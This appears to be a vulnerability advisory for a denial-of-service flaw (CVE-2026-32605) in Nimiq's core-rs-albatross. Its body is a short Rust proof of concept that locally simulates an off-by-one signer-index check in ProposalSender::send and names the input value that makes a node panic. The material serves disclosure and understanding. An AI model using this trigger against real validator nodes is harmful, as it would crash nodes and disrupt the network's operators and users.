CVE-2026-32605 Nimiq core-rs-albatross 拒绝服务漏洞

// Conceptual PoC demonstrating the logic flaw // Simulating the vulnerable code flow in ProposalSender::send fn exploit_vulnerability(num_validators: usize) { // Attacker controls the 'signer' field in the message let malicious_signer = num_validators; println!("Attempting to send proposal with signer index: {}", malicious_signer); // VULNERABLE CHECK: Uses > instead of >= // If signer == num_validators, this condition is false, so the check passes. if malicious_signer > num_validators { println!("Check failed: Invalid signer index."); return; } println!("Check passed. Proceeding to access validator..."); // This function call triggers the panic (index out of bounds) // because valid indices are 0..num_validators. // In the real code: validators.get_validator_by_slot_band(signer) let validator_data = get_validator_by_slot_band(malicious_signer); println!("Validator data: {:?}", validator_data); } // Helper function to simulate the panic fn get_validator_by_slot_band(index: usize) -> &'static str { // Simulating a fixed-size array of validators let validators = ["Validator0", "Validator1", "Validator2"]; // This will panic if index >= validators.len() // In Rust, this triggers a thread panic &validators[index] } fn main() { // Assume the network has 3 validators (indices 0, 1, 2) let total_validators = 3; // Exploit attempt: Sending signer index = 3 triggers the crash exploit_vulnerability(total_validators); }